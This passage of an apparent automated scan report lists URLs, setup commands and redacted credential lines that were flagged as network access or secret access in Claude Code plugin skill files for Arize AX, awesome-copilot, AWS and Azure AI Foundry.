    - [OpenRouter integration](https://arize.com/docs/ax/integrations/llm-providers/openrouter)
  • Network accessline 406
    - [VertexAI integration](https://arize.com/docs/ax/integrations/llm-providers/vertexai)
  • Network accessline 407
    - [LangChain](https://arize.com/docs/ax/integrations/python-agent-frameworks/langchain)
  • Network accessline 408
    - [LangGraph](https://arize.com/docs/ax/integrations/python-agent-frameworks/langgraph)
  • Network accessline 409
    - [LlamaIndex](https://arize.com/docs/ax/integrations/python-agent-frameworks/llamaindex)
  • Network accessline 410
    - [CrewAI](https://arize.com/docs/ax/integrations/python-agent-frameworks/crewai)
  • Network accessline 411
    - [DSPy](https://arize.com/docs/ax/integrations/python-agent-frameworks/dspy)
  • Network accessline 412
    - [AutoGen](https://arize.com/docs/ax/integrations/python-agent-frameworks/autogen)
  • Network accessline 413
    - [Semantic Kernel](https://arize.com/docs/ax/integrations/python-agent-frameworks/semantic-kernel)
  • Network accessline 414
    - [Pydantic AI](https://arize.com/docs/ax/integrations/python-agent-frameworks/pydantic)
  • Network accessline 415
    - [Haystack](https://arize.com/docs/ax/integrations/python-agent-frameworks/haystack)
  • Network accessline 416
    - [Guardrails AI](https://arize.com/docs/ax/integrations/python-agent-frameworks/guardrails-ai)
  • Network accessline 417
    - [Hugging Face Smolagents](https://arize.com/docs/ax/integrations/python-agent-frameworks/hugging-face-smolagents)
  • Network accessline 418
    - [Instructor](https://arize.com/docs/ax/integrations/python-agent-frameworks/instructor)
  • Network accessline 419
    - [Agno](https://arize.com/docs/ax/integrations/python-agent-frameworks/agno)
  • Network accessline 420
    - [Google ADK](https://arize.com/docs/ax/integrations/python-agent-frameworks/google-adk)
  • Network accessline 421
    - [MCP](https://arize.com/docs/ax/integrations/python-agent-frameworks/model-context-protocol)
  • Network accessline 422
    - [Portkey](https://arize.com/docs/ax/integrations/python-agent-frameworks/portkey)
  • Network accessline 423
    - [Together AI](https://arize.com/docs/ax/integrations/python-agent-frameworks/together-ai)
  • Network accessline 424
    - [BeeAI](https://arize.com/docs/ax/integrations/python-agent-frameworks/beeai)
  • Network accessline 425
    - [AWS Bedrock Agents](https://arize.com/docs/ax/integrations/python-agent-frameworks/aws)
  • Network accessline 426
    - [LangChain JS](https://arize.com/docs/ax/integrations/ts-js-agent-frameworks/langchain)
  • Network accessline 427
    - [Mastra](https://arize.com/docs/ax/integrations/ts-js-agent-frameworks/mastra)
  • Network accessline 428
    - [Vercel AI SDK](https://arize.com/docs/ax/integrations/ts-js-agent-frameworks/vercel)
  • Network accessline 429
    - [BeeAI JS](https://arize.com/docs/ax/integrations/ts-js-agent-frameworks/beeai)
  • Network accessline 430
    - [LangChain4j](https://arize.com/docs/ax/integrations/java/langchain4j)
  • Network accessline 431
    - [Spring AI](https://arize.com/docs/ax/integrations/java/spring-ai)
  • Network accessline 432
    - [Arconia](https://arize.com/docs/ax/integrations/java/arconia)
  • Network accessline 433
    - [LangFlow](https://arize.com/docs/ax/integrations/platforms/langflow)
  • Network accessline 434
    - [Flowise](https://arize.com/docs/ax/integrations/platforms/flowise)
  • Network accessline 435
    - [Dify](https://arize.com/docs/ax/integrations/platforms/dify)
  • Network accessline 436
    - [Prompt flow](https://arize.com/docs/ax/integrations/platforms/prompt-flow)

harness/claude-code/plugins/arize-ax/skills/arize-instrumentation/references/ax-profiles.md

  • Access to secretsline 23
    [Credential-related source omitted]
  • Access to secretsline 26
    [Credential-related source omitted]
  • Access to secretsline 27
    [Credential-related source omitted]
  • Access to secretsline 33
    [Credential-related source omitted]
  • Access to secretsline 42
    [Credential-related source omitted]
  • Access to secretsline 45
    [Credential-related source omitted]
  • Access to secretsline 46
    [Credential-related source omitted]
  • Access to secretsline 49
    [Credential-related source omitted]
  • Access to secretsline 52
    [Credential-related source omitted]
  • Access to secretsline 64
    [Credential-related source omitted]
  • Access to secretsline 67
    [Credential-related source omitted]
  • Network accessline 70
    They can find their key at https://app.arize.com by navigating to the settings page. Recommend they create a **scoped service key** (not a personal user key) — service keys are not tied to an individual account and are safer for programmati
  • Access to secretsline 72
    [Credential-related source omitted]
  • Access to secretsline 105
    [Credential-related source omitted]
  • Access to secretsline 113
    [Credential-related source omitted]

harness/claude-code/plugins/arize-ax/skills/arize-link/SKILL.md

  • Network accessline 40
    Default `base_url` is `https://app.arize.com`; override it only for on-prem deployments.
  • Network accessline 44
    All path IDs must be base64-encoded with characters `A-Za-z0-9+/=`. Raw numeric IDs produce valid-looking URLs that 404. If the user provides a number, ask them to copy the ID directly from an Arize browser URL such as `https://app.arize.co
  • Network accessline 88
    | 404 | Wrong ID or non-base64 ID | Re-check `org_id`, `space_id`, and `project_id` from the browser URL. | | Span not highlighted | `span_id` belongs to a different trace | Verify `span_id` against exported span data. | | `org_id` unknown 
  • Network accessline 90
    | `org_id` unknown | `ax` CLI does not expose it | Ask the user to copy it from `https://app.arize.com/organizations/{org_id}/spaces/{space_id}/…`. |
  • Network accessline 132
    - [Arize application](https://app.arize.com)

harness/claude-code/plugins/arize-ax/skills/arize-link/references/EXAMPLES.md

  • Network accessline 14
    https://app.arize.com/organizations/{org_id}/spaces/{space_id}/projects/{project_id}?selectedTraceId={trace_id}&queryFilterA=&selectedTab=llmTracing&timeZoneA=America%2FLos_Angeles&startA={start_ms}&endA={end_ms}&envA=tracing&modelType=gene
  • Network accessline 20
    https://app.arize.com/organizations/{org_id}/spaces/{space_id}/projects/{project_id}?selectedTraceId={trace_id}&selectedSpanId={span_id}&queryFilterA=&selectedTab=llmTracing&timeZoneA=America%2FLos_Angeles&startA={start_ms}&endA={end_ms}&en
  • Network accessline 26
    https://app.arize.com/organizations/{org_id}/spaces/{space_id}/projects/{project_id}?selectedSessionId={session_id}&queryFilterA=&selectedTab=llmTracing&timeZoneA=America%2FLos_Angeles&startA={start_ms}&endA={end_ms}&envA=tracing&modelType=
  • Network accessline 32
    https://app.arize.com/organizations/{org_id}/spaces/{space_id}/datasets/{dataset_id}?selectedTab=examples
  • Network accessline 38
    https://app.arize.com/organizations/{org_id}/spaces/{space_id}/datasets/{dataset_id}?selectedTab=experiments
  • Network accessline 44
    https://app.arize.com/organizations/{org_id}/spaces/{space_id}/queues
  • Network accessline 50
    https://app.arize.com/organizations/{org_id}/spaces/{space_id}/queues/{queue_id}
  • Network accessline 56
    https://app.arize.com/organizations/{org_id}/spaces/{space_id}/evaluators/{evaluator_id}
  • Network accessline 62
    https://app.arize.com/organizations/{org_id}/spaces/{space_id}/evaluators/{evaluator_id}?version={version_url_encoded}
  • Network accessline 68
    https://app.arize.com/organizations/{org_id}/spaces/{space_id}/annotation-configs

harness/claude-code/plugins/arize-ax/skills/arize-prompt-optimization/SKILL.md

  • Network accessline 72
    If an `ax` command fails, troubleshoot based on the error: - `command not found` or version error → see references/ax-setup.md - `401 Unauthorized` / missing API key → run `ax profiles show` to inspect the current profile. If the profile is
  • Network accessline 73
    - `command not found` or version error → see references/ax-setup.md - `401 Unauthorized` / missing API key → run `ax profiles show` to inspect the current profile. If the profile is missing or the API key is wrong, follow references/ax-prof
  • Network accessline 74
    - `401 Unauthorized` / missing API key → run `ax profiles show` to inspect the current profile. If the profile is missing or the API key is wrong, follow references/ax-profiles.md to create/update it. If the user doesn't have their key, dir
  • Access to secretsline 77
    [Credential-related source omitted]
  • Network accessline 499
    - [ ] The output follows the `## Output template` structure and reports commands run or skipped. ## References - [Arize API Keys](https://app.arize.com/admin)
  • Network accessline 501
    - [Arize API Keys](https://app.arize.com/admin)

harness/claude-code/plugins/arize-ax/skills/arize-prompt-optimization/references/ax-profiles.md

  • Access to secretsline 23
    [Credential-related source omitted]
  • Access to secretsline 26
    [Credential-related source omitted]
  • Access to secretsline 27
    [Credential-related source omitted]
  • Access to secretsline 33
    [Credential-related source omitted]
  • Access to secretsline 42
    [Credential-related source omitted]
  • Access to secretsline 45
    [Credential-related source omitted]
  • Access to secretsline 46
    [Credential-related source omitted]
  • Access to secretsline 49
    [Credential-related source omitted]
  • Access to secretsline 52
    [Credential-related source omitted]
  • Access to secretsline 64
    [Credential-related source omitted]
  • Access to secretsline 67
    [Credential-related source omitted]
  • Network accessline 70
    They can find their key at https://app.arize.com/admin > API Keys. Recommend they create a **scoped service key** (not a personal user key) — service keys are not tied to an individual account and are safer for programmatic use. Keys are sp
  • Access to secretsline 72
    [Credential-related source omitted]
  • Access to secretsline 105
    [Credential-related source omitted]
  • Access to secretsline 113
    [Credential-related source omitted]

harness/claude-code/plugins/arize-ax/skills/arize-trace/SKILL.md

  • Network accessline 35
    | --- | --- | | `ax: command not found` or version error | Read `references/ax-setup.md`; reinstall outdated `ax` with `uv tool install --force --reinstall arize-ax-cli` when shell access is available. | | `No profile found`, missing API ke
  • Network accessline 36
    | `ax: command not found` or version error | Read `references/ax-setup.md`; reinstall outdated `ax` with `uv tool install --force --reinstall arize-ax-cli` when shell access is available. | | `No profile found`, missing API key, or `401 Una
  • Network accessline 37
    | `No profile found`, missing API key, or `401 Unauthorized` | Run `ax profiles show`. If missing or wrong, read `references/ax-profiles.md`. If the user lacks a key, direct them to https://app.arize.com/admin > API Keys. |
  • Network accessline 250
    - [Arize API keys](https://app.arize.com/admin)

harness/claude-code/plugins/arize-ax/skills/arize-trace/references/ax-profiles.md

  • Access to secretsline 23
    [Credential-related source omitted]
  • Access to secretsline 26
    [Credential-related source omitted]
  • Access to secretsline 27
    [Credential-related source omitted]
  • Access to secretsline 33
    [Credential-related source omitted]
  • Access to secretsline 42
    [Credential-related source omitted]
  • Access to secretsline 45
    [Credential-related source omitted]
  • Access to secretsline 46
    [Credential-related source omitted]
  • Access to secretsline 49
    [Credential-related source omitted]
  • Access to secretsline 52
    [Credential-related source omitted]
  • Access to secretsline 64
    [Credential-related source omitted]
  • Access to secretsline 67
    [Credential-related source omitted]
  • Network accessline 70
    They can find their key at https://app.arize.com/admin > API Keys. Recommend they create a **scoped service key** (not a personal user key) — service keys are not tied to an individual account and are safer for programmatic use. Keys are sp
  • Access to secretsline 72
    [Credential-related source omitted]
  • Access to secretsline 105
    [Credential-related source omitted]
  • Access to secretsline 113
    [Credential-related source omitted]

harness/claude-code/plugins/automate-this/.claude-plugin/plugin.json

  • Network accessline 6
    "name": "Awesome Copilot Community"   },   "repository": "https://github.com/github/awesome-copilot",
  • Network accessline 7
    },   "repository": "https://github.com/github/awesome-copilot",   "license": "MIT",
  • Network accessline 8
    "repository": "https://github.com/github/awesome-copilot",

harness/claude-code/plugins/automate-this/skills/automate-this/SKILL.md

  • Network accessline 113
    echo "=== Node ===" && { command -v node && node --version 2>&1; } || echo "not installed" echo "=== Homebrew ===" && { command -v brew && echo "installed"; } || echo "not installed" echo "=== Common Tools ===" && for cmd in curl jq playwri
  • Network accessline 115
    echo "=== Common Tools ===" && for cmd in curl jq playwright selenium osascript automator crontab; do command -v $cmd >/dev/null 2>&1 && echo "$cmd: yes" || echo "$cmd: no"; done
  • Access to secretsline 188
    [Credential-related source omitted]

harness/claude-code/plugins/awesome-copilot/.claude-plugin/plugin.json

  • Network accessline 6
    "name": "Awesome Copilot Community"   },   "repository": "https://github.com/github/awesome-copilot",
  • Network accessline 7
    },   "repository": "https://github.com/github/awesome-copilot",   "license": "MIT",
  • Network accessline 8
    "repository": "https://github.com/github/awesome-copilot",

harness/claude-code/plugins/awesome-copilot/skills/suggest-awesome-github-copilot-agents/SKILL.md

  • Network accessline 27
    Use web access to read the awesome-copilot catalog and raw agent files. The catalog is at `https://github.com/github/awesome-copilot/blob/main/docs/README.agents.md`; agent files are under `https://github.com/github/awesome-copilot/tree/mai
  • Network accessline 33
    1. Fetch the available custom agent list and descriptions from `https://github.com/github/awesome-copilot/blob/main/docs/README.agents.md`.
  • Network accessline 34
    2. List every local `.github/agents/*.agent.md` file. 3. Read local frontmatter and body to inventory descriptions, tools, and instructions. 4. For each local filename that appears likely to exist upstream, fetch `https://raw.githubusercont
  • Network accessline 35
    3. Read local frontmatter and body to inventory descriptions, tools, and instructions. 4. For each local filename that appears likely to exist upstream, fetch `https://raw.githubusercontent.com/github/awesome-copilot/main/agents/{filename}`
  • Network accessline 36
    4. For each local filename that appears likely to exist upstream, fetch `https://raw.githubusercontent.com/github/awesome-copilot/main/agents/{filename}`.
  • Network accessline 80
    | Awesome-Copilot Custom Agent | Description | Already Installed | Similar Local Custom Agent | Suggestion Rationale | | --- | --- | --- | --- | --- | | [amplitude-experiment-implementation.agent.md](https://github.com/github/awesome-copilo
  • Network accessline 81
    | --- | --- | --- | --- | --- | | [amplitude-experiment-implementation.agent.md](https://github.com/github/awesome-copilot/blob/main/agents/amplitude-experiment-implementation.agent.md) | This custom agent uses Amplitude's MCP tools to depl
  • Network accessline 82
    | [amplitude-experiment-implementation.agent.md](https://github.com/github/awesome-copilot/blob/main/agents/amplitude-experiment-implementation.agent.md) | This custom agent uses Amplitude's MCP tools to deploy new experiments inside of Amp
  • Network accessline 83
    | [launchdarkly-flag-cleanup.agent.md](https://github.com/github/awesome-copilot/blob/main/agents/launchdarkly-flag-cleanup.agent.md) | Feature flag cleanup agent for LaunchDarkly | Yes | `launchdarkly-flag-cleanup.agent.md` | Already cover
  • Network accessline 84
    | [principal-software-engineer.agent.md](https://github.com/github/awesome-copilot/blob/main/agents/principal-software-engineer.agent.md) | Provide principal-level software engineering guidance with focus on engineering excellence, technica
  • Network accessline 100
    | Awesome-Copilot Custom Agent | Description | Already Installed | Similar Local Custom Agent | Suggestion Rationale | | --- | --- | --- | --- | --- | | `[agent-name.agent.md](https://github.com/github/awesome-copilot/blob/main/agents/agent
  • Network accessline 102
    | `[agent-name.agent.md](https://github.com/github/awesome-copilot/blob/main/agents/agent-name.agent.md)` | `<description>` | `No | Yes | Outdated` | `<local filename or None>` | `<why it fits, duplicate rationale, or specific outdated diff
  • Network accessline 107
    - [ ] The awesome-copilot README agents catalog was fetched from `https://github.com/github/awesome-copilot/blob/main/docs/README.agents.md`.
  • Network accessline 108
    - [ ] Local `.github/agents/*.agent.md` files were listed and their frontmatter descriptions were read. - [ ] Remote versions were fetched from `https://raw.githubusercontent.com/github/awesome-copilot/main/agents/{filename}` for comparable
  • Network accessline 109
    - [ ] Remote versions were fetched from `https://raw.githubusercontent.com/github/awesome-copilot/main/agents/{filename}` for comparable local agents.
  • Network accessline 117
    - [Awesome Copilot agents catalog](https://github.com/github/awesome-copilot/blob/main/docs/README.agents.md)
  • Network accessline 118
    - [Awesome Copilot agents folder](https://github.com/github/awesome-copilot/tree/main/agents)

harness/claude-code/plugins/awesome-copilot/skills/suggest-awesome-github-copilot-instructions/SKILL.md

  • Network accessline 26
    - Read local instruction files from `.github/instructions/` and repository-wide instructions from `.github/copilot-instructions.md` when present. - Fetch the catalog from <https://github.com/github/awesome-copilot/blob/main/docs/README.inst
  • Network accessline 27
    - Fetch the catalog from <https://github.com/github/awesome-copilot/blob/main/docs/README.instructions.md>.
  • Network accessline 28
    - Fetch remote instruction versions with raw URLs: `https://raw.githubusercontent.com/github/awesome-copilot/main/instructions/{filename}`.
  • Network accessline 34
    2. Discover local `*.instructions.md` files in `.github/instructions/` and, when relevant, community `instructions/` files. 3. Read YAML front matter from local files to extract `description` and `applyTo` patterns. 4. For each local file t
  • Network accessline 35
    3. Read YAML front matter from local files to extract `description` and `applyTo` patterns. 4. For each local file that corresponds to an awesome-copilot file, fetch the raw remote version using `https://raw.githubusercontent.com/github/awe
  • Network accessline 36
    4. For each local file that corresponds to an awesome-copilot file, fetch the raw remote version using `https://raw.githubusercontent.com/github/awesome-copilot/main/instructions/{filename}`.
  • Network accessline 84
    | Awesome-Copilot Instruction | Description | Already Installed | Similar Local Instruction | Suggestion Rationale | | --- | --- | --- | --- | --- | | [blazor.instructions.md](https://github.com/github/awesome-copilot/blob/main/instructions
  • Network accessline 85
    | --- | --- | --- | --- | --- | | [blazor.instructions.md](https://github.com/github/awesome-copilot/blob/main/instructions/blazor.instructions.md) | Blazor development guidelines | Yes | `blazor.instructions.md` | Already covered by existi
  • Network accessline 86
    | [blazor.instructions.md](https://github.com/github/awesome-copilot/blob/main/instructions/blazor.instructions.md) | Blazor development guidelines | Yes | `blazor.instructions.md` | Already covered by existing Blazor instructions. |
  • Network accessline 87
    | [pcf-react-platform-libraries.instructions.md](https://github.com/github/awesome-copilot/blob/main/instructions/pcf-react-platform-libraries.instructions.md) | ReactJS development standards | No | None | Would enhance React development wi
  • Network accessline 88
    | [java-junit5-assertions.instructions.md](https://github.com/github/awesome-copilot/blob/main/instructions/java-junit5-assertions.instructions.md) | Java development best practices | Outdated | `java-junit5-assertions.instructions.md` | `a
  • Network accessline 116
    | Local file | Remote file | Key differences | Recommendation | | --- | --- | --- | --- | | `.github/instructions/<file>.instructions.md` | `https://raw.githubusercontent.com/github/awesome-copilot/main/instructions/{filename}` | <descripti
  • Network accessline 118
    | `.github/instructions/<file>.instructions.md` | `https://raw.githubusercontent.com/github/awesome-copilot/main/instructions/{filename}` | <description/applyTo/content differences> | update | keep |
  • Network accessline 126
    - [ ] The awesome-copilot catalog at <https://github.com/github/awesome-copilot/blob/main/docs/README.instructions.md> was checked.
  • Network accessline 127
    - [ ] Local `.github/instructions/` files were inventoried, including `description` and `applyTo`. - [ ] Remote raw versions were fetched for comparable local files using `https://raw.githubusercontent.com/github/awesome-copilot/main/instru
  • Network accessline 128
    - [ ] Remote raw versions were fetched for comparable local files using `https://raw.githubusercontent.com/github/awesome-copilot/main/instructions/{filename}`.
  • Network accessline 136
    - [Awesome Copilot instructions catalog](https://github.com/github/awesome-copilot/blob/main/docs/README.instructions.md)
  • Network accessline 137
    - [Blazor instruction example](https://github.com/github/awesome-copilot/blob/main/instructions/blazor.instructions.md)
  • Network accessline 138
    - [PCF React platform libraries instruction example](https://github.com/github/awesome-copilot/blob/main/instructions/pcf-react-platform-libraries.instructions.md)
  • Network accessline 139
    - [Java JUnit 5 assertions instruction example](https://github.com/github/awesome-copilot/blob/main/instructions/java-junit5-assertions.instructions.md)
  • Network accessline 140
    - [Raw instruction URL pattern](https://raw.githubusercontent.com/github/awesome-copilot/main/instructions/{filename})

harness/claude-code/plugins/awesome-copilot/skills/suggest-awesome-github-copilot-skills/SKILL.md

  • Network accessline 26
    - Remote catalog: https://github.com/github/awesome-copilot/blob/main/docs/README.skills.md. - Remote skill folders live under https://github.com/github/awesome-copilot/tree/main/skills. - Use `web_fetch` for README and raw `SKILL.md` files
  • Network accessline 27
    - Remote skill folders live under https://github.com/github/awesome-copilot/tree/main/skills. - Use `web_fetch` for README and raw `SKILL.md` files. Use `execute/bash` with `curl` only when a bundled asset cannot be retrieved completely thr
  • Network accessline 35
    1. Fetch the available skill list and descriptions from https://github.com/github/awesome-copilot/blob/main/docs/README.skills.md.
  • Network accessline 37
    3. For each local folder, read `SKILL.md` front matter and extract `name` and `description`. 4. List bundled assets in each local skill folder. 5. For each local skill that appears in awesome-copilot, fetch the remote raw file at `https://r
  • Network accessline 38
    4. List bundled assets in each local skill folder. 5. For each local skill that appears in awesome-copilot, fetch the remote raw file at `https://raw.githubusercontent.com/github/awesome-copilot/main/skills/{skill-name}/SKILL.md`. 6. Compar
  • Network accessline 39
    5. For each local skill that appears in awesome-copilot, fetch the remote raw file at `https://raw.githubusercontent.com/github/awesome-copilot/main/skills/{skill-name}/SKILL.md`.
  • Network accessline 71
    https://raw.githubusercontent.com/github/awesome-copilot/main/skills/{skill-name}/SKILL.md
  • Network accessline 76
    - https://github.com/github/awesome-copilot/tree/main/skills/gh-attach
  • Network accessline 77
    - https://github.com/github/awesome-copilot/tree/main/skills/aspire
  • Network accessline 78
    - https://github.com/github/awesome-copilot/tree/main/skills/terraform-azurerm-set-diff-analyzer
  • Network accessline 104
    | Awesome-Copilot Skill | Description | Bundled Assets | Already Installed | Similar Local Skill | Suggestion Rationale | | --- | --- | --- | --- | --- | --- | | [gh-attach](https://github.com/github/awesome-copilot/tree/main/skills/gh-atta
  • Network accessline 105
    | --- | --- | --- | --- | --- | --- | | [gh-attach](https://github.com/github/awesome-copilot/tree/main/skills/gh-attach) | GitHub CLI skill for managing repositories and workflows | None | No | None | Would enhance GitHub workflow automati
  • Network accessline 106
    | [gh-attach](https://github.com/github/awesome-copilot/tree/main/skills/gh-attach) | GitHub CLI skill for managing repositories and workflows | None | No | None | Would enhance GitHub workflow automation capabilities |
  • Network accessline 107
    | [aspire](https://github.com/github/awesome-copilot/tree/main/skills/aspire) | Aspire skill for distributed application development | 9 reference files | Yes | aspire | Already covered by existing Aspire skill |
  • Network accessline 108
    | [terraform-azurerm-set-diff-analyzer](https://github.com/github/awesome-copilot/tree/main/skills/terraform-azurerm-set-diff-analyzer) | Analyze Terraform AzureRM provider changes | Reference files | Outdated | terraform-azurerm-set-diff-a
  • Network accessline 119
    - [ ] The awesome-copilot README skills catalog was fetched from https://github.com/github/awesome-copilot/blob/main/docs/README.skills.md.
  • Network accessline 129
    - [awesome-copilot skills README](https://github.com/github/awesome-copilot/blob/main/docs/README.skills.md)
  • Network accessline 130
    - [awesome-copilot skills folder](https://github.com/github/awesome-copilot/tree/main/skills)
  • Network accessline 131
    - [gh-attach skill](https://github.com/github/awesome-copilot/tree/main/skills/gh-attach)
  • Network accessline 132
    - [aspire skill](https://github.com/github/awesome-copilot/tree/main/skills/aspire)
  • Network accessline 133
    - [terraform-azurerm-set-diff-analyzer skill](https://github.com/github/awesome-copilot/tree/main/skills/terraform-azurerm-set-diff-analyzer)

harness/claude-code/plugins/aws-cloud-development/.claude-plugin/plugin.json

  • Network accessline 6
    "name": "Awesome Copilot Community"   },   "repository": "https://github.com/github/awesome-copilot",
  • Network accessline 7
    },   "repository": "https://github.com/github/awesome-copilot",   "license": "MIT",
  • Network accessline 8
    "repository": "https://github.com/github/awesome-copilot",

harness/claude-code/plugins/aws-cloud-development/skills/aws-cost-optimize/SKILL.md

  • Network accessline 33
    **Process**: 1. **Load Best Practices**:    - Fetch `https://docs.aws.amazon.com/cost-management/latest/userguide/cost-optimization-best-practices.html`
  • Network accessline 34
    1. **Load Best Practices**:    - Fetch `https://docs.aws.amazon.com/cost-management/latest/userguide/cost-optimization-best-practices.html`    - Fetch the AWS Well-Architected Cost Optimization pillar summary
  • Network accessline 35
    - Fetch `https://docs.aws.amazon.com/cost-management/latest/userguide/cost-optimization-best-practices.html`

harness/claude-code/plugins/aws-cloud-development/skills/aws-resource-health-diagnose/SKILL.md

  • Network accessline 27
    - The target resource must be identified by name, type, and optionally region/account. - CloudWatch logs and metrics should be enabled; if not, report the limitation and recommend enablement. - Fetch `https://docs.aws.amazon.com/AmazonCloud
  • Network accessline 29
    - Fetch `https://docs.aws.amazon.com/AmazonCloudWatch/latest/monitoring/` when current monitoring guidance is needed.
  • Network accessline 173
    - [Amazon CloudWatch monitoring](https://docs.aws.amazon.com/AmazonCloudWatch/latest/monitoring/)

harness/claude-code/plugins/aws-cloud-development/skills/aws-well-architected-review/SKILL.md

  • Network accessline 27
    - IaC should be present as Terraform, CloudFormation, CDK, or SAM. If none exists, review live resources only and report the gap. - GitHub issue creation requires an authenticated GitHub tool or `gh`; otherwise output issue-ready Markdown. 
  • Network accessline 29
    - Fetch `https://docs.aws.amazon.com/wellarchitected/latest/framework/welcome.html` and relevant lenses when current best practices are needed.
  • Network accessline 216
    - [AWS Well-Architected Framework](https://docs.aws.amazon.com/wellarchitected/latest/framework/welcome.html)

harness/claude-code/plugins/azure-ai-foundry/.claude-plugin/plugin.json

  • Network accessline 6
    "name": "Paula Silva"   },   "repository": "https://github.com/paulasilvatech/copilot-primitives",
  • Network accessline 7
    },   "repository": "https://github.com/paulasilvatech/copilot-primitives",   "license": "MIT",
  • Network accessline 8
    "repository": "https://github.com/paulasilvatech/copilot-primitives",

harness/claude-code/plugins/azure-ai-foundry/skills/apim-ai-gateway/SKILL.md

  • Network accessline 133
    - [Azure API Management AI gateway capabilities](https://learn.microsoft.com/azure/api-management/genai-gateway-capabilities)
  • Network accessline 134
    - [Token limit policy](https://learn.microsoft.com/azure/api-management/llm-token-limit-policy)
  • Network accessline 135
    - [Semantic caching policy](https://learn.microsoft.com/azure/api-management/azure-openai-semantic-cache-lookup-policy)
  • Network accessline 136
    - [Load balancing and circuit breaker for backends](https://learn.microsoft.com/azure/api-management/backends)

harness/claude-code/plugins/azure-ai-foundry/skills/apim-ai-gateway/references/auth-best-practices.md

  • Network accessline 3
    > Source: [Microsoft — Passwordless connections for Azure services](https://learn.microsoft.com/azure/developer/intro/passwordless-overview) and [Azure Identity client libraries](https://learn.microsoft.com/dotnet/azure/sdk/authentication/)
  • Network accessline 122
    - [Passwordless connections overview](https://learn.microsoft.com/azure/developer/intro/passwordless-overview)
  • Network accessline 123
    - [Managed identities overview](https://learn.microsoft.com/entra/identity/managed-identities-azure-resources/overview)
  • Network accessline 124
    - [Azure RBAC overview](https://learn.microsoft.com/azure/role-based-access-control/overview)
  • Network accessline 125
    - [.NET authentication guide](https://learn.microsoft.com/dotnet/azure/sdk/authentication/)
  • Network accessline 126
    - [Python identity library](https://learn.microsoft.com/python/api/overview/azure/identity-readme)
  • Network accessline 127
    - [JavaScript identity library](https://learn.microsoft.com/javascript/api/overview/azure/identity-readme)
  • Network accessline 128
    - [Java identity library](https://learn.microsoft.com/java/api/overview/azure/identity-readme)

harness/claude-code/plugins/azure-ai-foundry/skills/apim-ai-gateway/references/patterns.md

  • Network accessline 13
    - APIM instance deployed (use **azure-prepare** skill to deploy APIM — see [APIM deployment guide](https://learn.microsoft.com/azure/api-management/get-started-create-service-instance))
  • Network accessline 65
    az apim api import    --service-name <apim-name>    --resource-group <rg>    --api-id azure-openai-api    --path "openai"    --specification-format OpenApi    --specification-url "https://raw.githubusercontent.com/Azure/azure-rest-api-specs
  • Network accessline 69
    --path "openai" \   --specification-format OpenApi \   --specification-url "https://raw.githubusercontent.com/Azure/azure-rest-api-specs/main/specification/cognitiveservices/data-plane/AzureOpenAI/inference/stable/2024-02-01/inference.json"
  • Network accessline 70
    --specification-format OpenApi \   --specification-url "https://raw.githubusercontent.com/Azure/azure-rest-api-specs/main/specification/cognitiveservices/data-plane/AzureOpenAI/inference/stable/2024-02-01/inference.json" \   --service-url "
  • Network accessline 71
    --specification-url "https://raw.githubusercontent.com/Azure/azure-rest-api-specs/main/specification/cognitiveservices/data-plane/AzureOpenAI/inference/stable/2024-02-01/inference.json" \
  • Network accessline 81
    <base />     <set-backend-service backend-id="openai-backend" />     <authentication-managed-identity resource="https://cognitiveservices.azure.com" />
  • Network accessline 82
    <set-backend-service backend-id="openai-backend" />     <authentication-managed-identity resource="https://cognitiveservices.azure.com" /> </inbound>
  • Network accessline 83
    <authentication-managed-identity resource="https://cognitiveservices.azure.com" />
  • Network accessline 116
    <set-variable name="backendUrl" value="@{         var backends = new [] {             "https://aoai-eastus.openai.azure.com",
  • Network accessline 117
    var backends = new [] {             "https://aoai-eastus.openai.azure.com",             "https://aoai-westus.openai.azure.com"
  • Network accessline 118
    "https://aoai-eastus.openai.azure.com",
  • Network accessline 119
    "https://aoai-westus.openai.azure.com"
  • Network accessline 124
    }" />     <set-backend-service base-url="@((string)context.Variables["backendUrl"] + "/openai")" />     <authentication-managed-identity resource="https://cognitiveservices.azure.com" />
  • Network accessline 125
    <set-backend-service base-url="@((string)context.Variables["backendUrl"] + "/openai")" />     <authentication-managed-identity resource="https://cognitiveservices.azure.com" /> </inbound>
  • Network accessline 126
    <authentication-managed-identity resource="https://cognitiveservices.azure.com" />
  • Network accessline 134
    <set-variable name="backendUrl" value="@{         var backends = new [] {             "https://aoai-eastus.openai.azure.com",
  • Network accessline 135
    var backends = new [] {             "https://aoai-eastus.openai.azure.com",             "https://aoai-westus.openai.azure.com"
  • Network accessline 136
    "https://aoai-eastus.openai.azure.com",
  • Network accessline 137
    "https://aoai-westus.openai.azure.com"
  • Network accessline 177
    <base />     <set-backend-service backend-id="openai-backend" />     <authentication-managed-identity resource="https://cognitiveservices.azure.com" />
  • Network accessline 178
    <set-backend-service backend-id="openai-backend" />     <authentication-managed-identity resource="https://cognitiveservices.azure.com" /> </inbound>
  • Network accessline 179
    <authentication-managed-identity resource="https://cognitiveservices.azure.com" />
  • Network accessline 216
    <set-backend-service backend-id="openai-backend" />     <authentication-managed-identity resource="https://cognitiveservices.azure.com" />
  • Network accessline 217
    <authentication-managed-identity resource="https://cognitiveservices.azure.com" />

harness/claude-code/plugins/azure-ai-foundry/skills/apim-ai-gateway/references/policies.md

  • Network accessline 231
    <!-- 1. Authentication -->         <authentication-managed-identity resource="https://cognitiveservices.azure.com" />
  • Network accessline 232
    <authentication-managed-identity resource="https://cognitiveservices.azure.com" />
  • Network accessline 309
    - [GenAI Gateway Capabilities](https://learn.microsoft.com/azure/api-management/genai-gateway-capabilities)
  • Network accessline 310
    - [APIM Policy Reference](https://learn.microsoft.com/azure/api-management/api-management-policies)
  • Network accessline 311
    - [AI-Gateway Samples](https://github.com/Azure-Samples/AI-Gateway)

harness/claude-code/plugins/azure-ai-foundry/skills/apim-ai-gateway/references/sdk/azure-mgmt-apimanagement-py.md

  • Access to secretsline 17
    [Credential-related source omitted]

harness/claude-code/plugins/azure-ai-foundry/skills/apim-ai-gateway/references/troubleshooting.md

  • Network accessline 17
    | Managed identity not enabled on APIM | `az apim update --name <apim> --resource-group <rg> --set identity.type=SystemAssigned` | | Missing RBAC role | `az role assignment create --assignee <apim-principal-id> --role "Cognitive Services Us
  • Network accessline 18
    | Missing RBAC role | `az role assignment create --assignee <apim-principal-id> --role "Cognitive Services User" --scope <aoai-resource-id>` | | Wrong auth resource | Ensure `resource="https://cognitiveservices.azure.com"` (not the endpoint
  • Network accessline 19
    | Wrong auth resource | Ensure `resource="https://cognitiveservices.azure.com"` (not the endpoint URL) |
  • Network accessline 94
